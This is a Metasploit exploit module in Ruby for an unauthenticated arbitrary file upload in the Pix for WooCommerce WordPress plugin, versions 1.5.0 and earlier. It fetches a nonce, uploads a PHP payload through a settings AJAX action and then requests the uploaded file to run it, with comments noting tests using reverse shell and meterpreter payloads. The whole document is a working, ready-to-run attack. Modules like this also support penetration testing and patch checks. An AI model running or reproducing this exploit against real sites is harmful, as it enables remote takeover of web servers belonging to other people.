📄 WordPress Pix for WooCommerce 1.5.0 Shell Upload

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HTTP::Wordpress
      include Msf::Exploit::FileDropper
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WordPress Unauthenticated RCE via Pix for WooCommerce plugin',
            'Description' => %q{
              This Metasploit module exploits an Unauthenticated Arbitrary File Upload vulnerability in the Pix for WooCommerce plugin for WordPress.
    
              Attackers can leverage the missing capability check and insufficient file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function to upload arbitrary files to the affected server, which may lead to remote code execution under the web server's privileges.
    
              The affected versions include all releases up to and including 1.5.0.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Maksim Rogov', # Metasploit Module
              'Alexis Lafontaine' # Vulnerability Discovery
            ],
            'References' => [
              ['CVE', '2026-3891'],
              ['WPVDB', '36b05ea1-77d4-4561-b735-900e9ada4ccc'],
              ['URL', 'https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/payment-gateway-pix-for-woocommerce/pix-for-woocommerce-150-unauthenticated-arbitrary-file-upload']
            ],
            'Targets' => [
              [
                'Pix for WooCommerce <= 1.5.0 / Automatic',
                {
                  'Platform' => ['php'],
                  'Arch' => [ARCH_PHP]
                  # Tested with php/unix/cmd/reverse_bash
                  # Tested with php/meterpreter/reverse_tcp
                }
              ],
            ],
            'DisclosureDate' => '2026-03-12',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS],
              'Reliability' => [REPEATABLE_SESSION]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Path to the WordPress installation', '/']),
          ]
        )
      end
    
      def check
        check_plugin_version_from_readme('payment-gateway-pix-for-woocommerce', '1.6.0', '1.0.0')
      end
    
      def get_nonce
        print_status('Retrieving AJAX nonce...')
    
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
          'vars_post' => {
            'action' => 'lkn_pix_for_woocommerce_generate_nonce',
            'action_name' => 'lkn_pix_for_woocommerce_c6_settings_nonce'
          }
        )
        fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res && res.code == 200
    
        json_body = res.get_json_document
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to parse JSON response.") if json_body.nil? || json_body.empty?
    
        nonce = json_body.dig('data', 'nonce')
        fail_with(Failure::UnexpectedReply, "#{peer} - Nonce not found in the JSON response") if nonce.to_s.empty?
    
        print_good("Successfully retrieved nonce: #{nonce}")
    
        nonce
      end
    
      def upload_shell
        nonce = get_nonce
    
        filename = "#{Rex::Text.rand_text_alphanumeric(4..16)}.php"
        print_status("Uploading payload as #{filename}...")
    
        post_data = Rex::MIME::Message.new
        post_data.add_part('lkn_pix_for_woocommerce_c6_save_settings', nil, nil, 'form-data; name="action"')
        post_data.add_part(nonce, nil, nil, 'form-data; name="_ajax_nonce"')
        post_data.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"certificate_crt_path\"; filename=\"#{filename}\"")
    
        res = send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
          'method' => 'POST',
          'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
          'data' => post_data.to_s
        )
        fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res && res.code == 200
        register_files_for_cleanup(filename)
    
        print_good('Payload uploaded successfully')
        normalize_uri(target_uri.path, 'wp-content', 'plugins', 'payment-gateway-pix-for-woocommerce', 'Includes', 'files', 'certs_c6', filename)
      end
    
      def trigger_shell(shell_uri)
        print_status("Triggering at #{shell_uri}...")
        send_request_cgi(
          'uri' => shell_uri
        )
      end
    
      def exploit
        shell_uri = upload_shell
        trigger_shell(shell_uri)
      end
    
    end